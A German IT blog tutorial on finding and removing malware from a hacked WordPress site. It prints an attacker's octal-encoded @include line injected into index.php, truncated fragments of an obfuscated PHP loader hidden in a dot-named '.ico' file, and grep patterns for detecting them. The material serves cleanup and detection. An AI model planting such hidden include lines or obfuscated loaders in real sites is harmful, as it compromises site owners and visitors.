Zum Inhalt springen

Wir erklären wie IT funktioniert

  • Office
  • Linux
  • Sicherheit
  • Windows
Wir erklären wie IT funktioniert

Malware in WordPress entfernen

Wenn eine WordPress-Site gehacked wurde, ist das in aller Regel sehr ärgerlich. Die Website funktioniert dann oft nicht mehr richtig und im schlimmsten Fall wird der eigene Webserver als Virenschleuder verwendet. WordPress Plugins zur Entfernung von Malware helfen leider oft nicht weiter. In diesem Howto beschreibe ich daher einen manuellen Weg, wie man Schad-Software oder Malware aus WordPress entfernen kann.

Für alles Folgende braucht man den Zugriff auf den Webserver. In unserem Fall ist das Linux.

Hinweis: Wer keinen direkten Shell-Zugriff auf seinen Webserver hat, der sollte sich den kompletten Dateipfad bzw. Ast mit den WordPress-Dateien herunterladen und anschließend die Schritte am eigenen PC durchführen.

Inhalt

  • Ausgangs-Situation
  • Wie Haker (hier) Schad-Software platziert haben:
  • Wie sieht Malware in WordPress aus?
  • Der Mechanismus der Malware
  • Auffinden der Malware in WordPress:
  • Konkretes Vorgehen zur Entfernung der Malware
    • Eigentliche Schadsoftware entfernen
    • @include-Anweisungen finden und entfernen
    • So kann man die  Dateien finden von der aus die Malware aufgerufen wird:
  • Alternativen zur manuellen Entfernung:
  • Plugins zur Schadensbegrenzung und Entfernung
  • Wie kam die Malware dorthin?
  • Fazit zum Thema Malware entfernen

Ausgangs-Situation

In unserem Fall war die betroffene Website für kurze Zeit weiß, d.h. ohne Inhalt. Eine komplette De-Aktivierung und anschließende Aktivierung aller WordPress-Plugins brachte den Content, d.h. die Blog-Beiträge wieder zurück. Allerdings traten immer wieder sporadische Warnungen von Viren-Scannern auf und die Zugriffszahlen halbierten sich innerhalb von wenigen Tagen. Hier stimmte offenbar etwas nicht.

Die Vermutung lag also nahe, daß auf der Website irgendwo eine Malware bzw. Schadcode von einem Hacker platziert worden war.

Wie Haker (hier) Schad-Software platziert haben:

Um die Malware zu finden, muss man sich ein wenig in den Hacker hinein versetzen.

Er will in der Regel seinen Code möglichst lange unentdeckt wissen. Dabei gibt er sich (mehr oder weniger) Mühe, seinen Hack unentdeckt zu lassen. Sein Quell-Code wird also eher schlecht zu lesen und eher kryptisch aussehen.

Im Gegensatz dazu ist der Quell-Code eines WordPress-Entwicklers in der Regel so geschrieben, daß ihn ein fachkundiger PHP-Entwickler gut lesen kann. Das ist exakt das Gegenteil von der Intention eines Hackers.

Wie sieht Malware in WordPress aus?

In unserem Fall sah der fragliche Code so aus:

index.php im Root-Verzeichnis:

/*48365*/
@include "\057var\057www\057vho\163ts/\142ite\156o.c\157m/h\164tpd\157cs/\167p-c\157nte\156t/.\061c4c\063535\056ico";

/*48365*/

Die Zeile würde im Klartext lauten

@include \var\www\vhosts\domain.tld\httpdocs\wp-content\.irgendwas.ico

Der eigentliche Schadcode liegt dann in eben dieser Datei \var\www\vhosts\domain.tld\httpdocs\wp-content\.irgendwas.ico

Der Inhalt dieser Schadcode-Datei sieht dann bspw. so aus:

<?php
$_89elm2n = basename/*d*/(/*hn4mp*/trim/*ab4wn*/(/*9ujf*/preg_replace/*lqwxr*/(/*5xf*/rawurldecode/*kzjbg*/(/*e6*/"%2F%5C%28.%2A%24%2F

oder so

<?php
$_19gi0c = basename/*qv*/(/*l2*/trim/*vqjr*/(/*i9*/preg_replace/*i4o*/(/*4zx*/rawurldecode/*4*/(/*roi2*/"%2F%5C%28.%2A%24%2F"/*72as*/)/*5p*/, '', __FILE__/*ihz*/)…….

Der Mechanismus der Malware

Der Entwickler der Malware legt also seine kryptische Datei an irgendeiner bestimmten Stelle im Dateisystem des Webservers ab. Diese Datei beginnt in der Regel mit einer Variablen-Zuweisung und dem Schlüsselwort „basename“ oder „base64“.

Diese kryptische Datei wiederum soll von möglichst vielen Stellen im PHP-Quell-Code aufgerufen werdeb. Dazu wird vom Eindringling ein „Einzeiler“ mit Hilfe eines @include-Statements in eine bestehende  PHP-Datei von WordPress eingefügt. Diese Zeile kommt also etwa in eine oder mehrere bestehende index.php Datei in der betroffenen WordPress-Installation.

Auch lesenswert:
Wie erkenne ich einen Computervirus?
Powered by Inline Related Posts

Auffinden der Malware in WordPress:

Bei der weiteren Suche geht es erst einmal darum, diese schadhaften Dateien zu finden. Außerdem müssen wir den Ort in der vorhandenen Anwendung (hier WordPress) finden, von wo aus die Schadsoftware ausgeführt bzw. aufgerufen wird. Dies erfolgt in der Regel über eine @include Anweisung in php.

Vorgehen: Wir suchen zuerst nach der eigentlichen Datei mit dem Schadcode. Dies sind in der Regel wenige Dateien, manchmal sogar nur eine einzige Datei. Danach machen wir uns auf die Suche nach den Orten im PHP-Quell-Code, in dem diese zuvor entfernte Schadsoftware-Datei aufgerufen wird. Das sind häufig mehrere Stellen, oft sogar viele.

Konkretes Vorgehen zur Entfernung der Malware

Eigentliche Schadsoftware entfernen

Zuerst suchen und entfernen wir also die eigentliche Schadsoftware:

Um die schadhafte Datei zu finden sichen wir rekursiv durch die Inhalte der lesbaren Dateien und suchen mit grep nach den PHP-Schlüsselwörtern, die der Hacker in seinem Quell-Code nutzt:

Das sind der Reihe nach: basename, preg_replace, rawurlencode und später  noch “__FILE__”

Wir suchen deshalb rekursiv nach diesen Begriffen. Wichtig dabei ist, daß wir uns nicht auf einen Dateitypen festlegen. Der Angreifer verwendet hier in unserem Beispiel absichtlich die Endung .ico (Datei-Endung für Icon-Grafiken) und einen Punkte am Anfang des Dateinamens, was die Datei unter Linux ein weniger schwerer zu finden macht. Die Datei wird dann mit einem “ls -la” nicht angezeigt.

grep -iR basename *| grep -i replace | grep -i rawurldecode

Hinweis: Den “*” kann man bei grep im Zusammenspiel mit der Option “-R” (für rekursiv) weg lassen.

oder etwas ausführlicher noch mit der Suche nach dem Schlüsselwort “__FILE__”

 grep -iR basename | grep -i replace | grep -i rawurldecode | grep -i "__FILE__"

Die so ermittelten Treffer löschen wir oder noch besser: Wir verschieben die Datei(en) in einer separates Verzeichnis, um sie ggf. später noch weiter zu untersuchen.

@include-Anweisungen finden und entfernen

Im zweiten Schritt machen wir uns nun an das Suchen und Entfernen der Aufrufe der Schadsoftware in WordPress. Wir suchen also die @include-Anweisungen in PHP:

Die Anweisung @include kommt in PHP in legitimer Software sehr häufig vor. Allerdings hat ein normaler Programmierer selten das Problem, daß er in seinem Quellcode lange Dateinamen aufruft. Das würde ein Entwickler eher über eine Variable in PHP lösen. Um also die @Include Anweisungen zu finden, schauen wir uns nochmal die Zeile an, die der Angreifer in unserem Code platziert hat:

@include "\057var\057www\057vho\163ts/\142ite\156o.c\157m/h\164tpd\157cs/\167p-c\157nte\156t/.\061c4c\063535\056ico";

Das liest sich schon wesentlich schlechter und ist für einen Laien kaum verständlich. Letzteres ist hier selbstverständlich vom Angreifer beabsichtigt.

So kann man die  Dateien finden von der aus die Malware aufgerufen wird:

Wir suchen nach dem Begriff “@include” und danach nach dem “\”, der in dem Include-Statement häufiger vorkommt.

cd /var/www/domain.tld

grep -iR "@include" * | grep -iF '\'

Hinweis: Die ‘ am Ende statt ” sind richtig und wichtig

Auch lesenswert:
Malware Entfernen - so klappt's.
Powered by Inline Related Posts

Man wird so noch die eine oder andere CSS Datei finden, die uns hier nicht interessiert.

Daher könnte man die Suche auf *.php Dateien einschränken:

 grep -iR "@include" *.php | grep -iF '\' # die ' am Ende statt " sind richtig und wichtig

In allen Dateien die hier gefunden werden, muss nun die Zeile bzw. die Zeilen mit den @include Statement entfernt werden.

Sofern das immer der gleiche Eintrag ist, dann geht das z.T. automatisch mit awk oder sed. In aller Regel wird der Hacker aber das so genannte Encoding (hier das Ersetzen der Zeichen und Buchstaben durch ASCII Code) variieren, so daß man häufig dazu gezwungen ist, den Schadcode bzw. die Malware von Hand zu entfernen.

Wir müssen also die gefundenen php-Dateien von Hand editieren, die betroffene Zeile löschen und die Datei anschließend speichern. Das erledigen wir mit „vim“ oder nano.

Tipp: Sofern möglich sollte man anschließend die Datei mit dem folgenden Kommando für generelle Schreibzugriffe sperren:

chmod 555 index.php

ls – la index.php

Alternativen zur manuellen Entfernung:

Wer sich sicher ist, daß in seinen Blog-Einträgen bzw. in der WordPress-Datenbank selbst kein Schadcode enthalten ist, der kann die WordPress-Dateien sowie das WordPress-Theme und die Plugins komplett neu installieren bzw. über die bestehenden Dateien kopieren und damit überschreiben. Damit wird dann in der Regel auch die schadhafte @include Anweisung entfernt.

Achtung: Die eigentliche Schad-Software wird man so aber nicht 100% los. Die Malware-Datei – in unserem Fall die Datei „.irgendwas.ico“ sollte man unbedingt vorher entfernen.

Plugins zur Schadensbegrenzung und Entfernung

Der Vollständigkeit halber sind hier noch zwei Plugins, die WordPress-Administratoren helfen, Schadcode zu finden. – In den Fällen, die wir hier gezeigt haben, konnten die Security-Plugins allerdings die Malware in WordPress nicht finden.

  • Sucuri
  • Gotmls

Wie kam die Malware dorthin?

Wir haben uns in diesem Tutorial darauf konzentriert, die Malware möglichst sicher zu entfernen. Als Website-Betreiber möchte man dieses aufwändige Unterfangen allerdings nicht noch mal machen müssen. Daher sollte man im zweiten Schritt unbedingt herausfinden, wie die Malware auf den Server gekommen ist.

Dabei hilft es sehr, wenn man seine WordPress-Installation mit einem oder mehreren Security-Plugins – wie etwa Better-WP-Security schützt.

Fazit zum Thema Malware entfernen

Der beste Schutz für WordPress ist meistens ein gut gepflegtes und aktuelles WordPress, in dem ein passendes Security-Plugin installiert und aktiv ist. Wer aber den sprichwörtlichen Schaden schon hat, der kann mit etwas Fleiß, Zeit und Mühe manuell mit der obigen Anleitung seine WordPress-Website von Malware befreien.

  • Über den Autor
  • Aktuelle Beiträge
Matthias Böhmichen

Matthias Böhmichen ist der Gründer der Website howto-do.it . Linux nutzt er seit 1991 um kurz danach Windows zu entdecken. Er entdeckt gerne neue Technologien und verbringt seine Zeit damit, sie für Kunden nutzbar zu machen. Im Hauptberuf ist er CEO der Biteno GmbH

  • Datenbank-Grundlagen: Was ist eine Transaktion?

Aktuellste Beiträge

  • Containerisierung erklärt: Der große Leitfaden
    Containerisierung erklärt: Der große Leitfaden
    2. Juni 2025
  • Windows Server 2019 erklärt – Ihr Leitfaden
    Windows Server 2019 erklärt – Ihr Leitfaden
    2. Juni 2025
  • Entdecken Sie: Was ist KVM (Kernel-based Virtual Machine)
    Entdecken Sie: Was ist KVM (Kernel-based Virtual Machine)
    2. Juni 2025
  • Was ist Rocky Linux? Ihr Leitfaden zur neuen Linux-Distribution.
    Was ist Rocky Linux? Ihr Leitfaden zur neuen Linux-Distribution.
    2. Juni 2025
  • Lua-Skript erklärt: Einführung und Anwendung
    Lua-Skript erklärt: Einführung und Anwendung
    2. Juni 2025
  • Was ist Arch Linux? Eine klare und informative Erklärung
    Was ist Arch Linux? Eine klare und informative Erklärung
    31. Mai 2025
  • Was bedeutet Incident Response?
    Was bedeutet Incident Response?
    31. Mai 2025
  • IP-Reputation erklärt: Bedeutung & Einfluss im Netz
    IP-Reputation erklärt: Bedeutung & Einfluss im Netz
    31. Mai 2025
  • Was ist Gentoo Linux: Ein tiefgehender Blick auf das System
    Was ist Gentoo Linux: Ein tiefgehender Blick auf das System
    31. Mai 2025

Kategorien

  • Allgemein (10)
  • Lexikon (106)
  • Linux (47)
  • Office (84)
  • Sicherheit (130)
  • Virtualisierung (19)
  • Windows (29)

Weitere lesenswerte Artikel

  • Was ist Oracle Linux? Ihr umfassender Leitfaden.
    Was ist Oracle Linux? Ihr umfassender Leitfaden.
    29. Mai 2025
  • ESXi vs Proxmox: Ein Vergleich für die Server-Virtualisierung
    ESXi vs Proxmox: Ein Vergleich für die Server-Virtualisierung
    29. Mai 2025
  • Rocky Linux vs. Almalinux: Ein detaillierter Vergleich für IT-Experten
    Rocky Linux vs. Almalinux: Ein detaillierter Vergleich für IT-Experten
    29. Mai 2025
  • Entdecken Sie den optimalen CentOS Ersatz für Ihre Bedürfnisse.
    Entdecken Sie den optimalen CentOS Ersatz für Ihre Bedürfnisse.
    28. Mai 2025
  • SIEM erklärt: Ihr Leitfaden zum Cybersecurity-Management
    SIEM erklärt: Ihr Leitfaden zum Cybersecurity-Management
    26. Mai 2025
  • Entdecke die beste CentOS Alternative für dein Unternehmen
    Entdecke die beste CentOS Alternative für dein Unternehmen
    26. Mai 2025
  • Sicher und einfach: Wie ich mein Gmail Passwort ändern kann
    Sicher und einfach: Wie ich mein Gmail Passwort ändern kann
    26. Mai 2025
  • Was ist Log-Management? Grundlagen – Verstehen und Anwenden
    Was ist Log-Management? Grundlagen – Verstehen und Anwenden
    25. Mai 2025
  • Proxmox vs ESXi: Ein informativer Vergleich
    Proxmox vs ESXi: Ein informativer Vergleich
    24. Mai 2025
  • Was ist PostgreSQL: Ein umfassender Einblick
    Was ist PostgreSQL: Ein umfassender Einblick
    24. Mai 2025
  • Anleitung: So können Sie Ihr Windows Passwort ändern.
    Anleitung: So können Sie Ihr Windows Passwort ändern.
    24. Mai 2025
  • Was ist Ossec – Ihre Anleitung zur Open-Source-Sicherheit
    Was ist Ossec – Ihre Anleitung zur Open-Source-Sicherheit
    24. Mai 2025
  • Erklärung: Was ist Hyper-V und warum ist es wichtig?
    Erklärung: Was ist Hyper-V und warum ist es wichtig?
    23. Mai 2025
  • So ändern Sie Ihr Fritzbox Passwort – Alle Schritte erklärt.
    So ändern Sie Ihr Fritzbox Passwort – Alle Schritte erklärt.
    22. Mai 2025
  • Was ist Spear-Phishing? Unser Leitfaden zur Cybersicherheit.
    Was ist Spear-Phishing? Unser Leitfaden zur Cybersicherheit.
    22. Mai 2025
  • MySQL Grundlagen: Was Sie wissen müssen
    MySQL Grundlagen: Was Sie wissen müssen
    22. Mai 2025
  • Was ist Vishing? – So schützen Sie sich.
    Was ist Vishing? – So schützen Sie sich.
    22. Mai 2025
  • Kontakt
  • Impressum
  • Disclaimer
  • Datenschutz
  • Sitemap
  • Howto-Do.IT auf Englisch

© 2025

Nach oben scrollen
  • Office
  • Linux
  • Sicherheit
  • Windows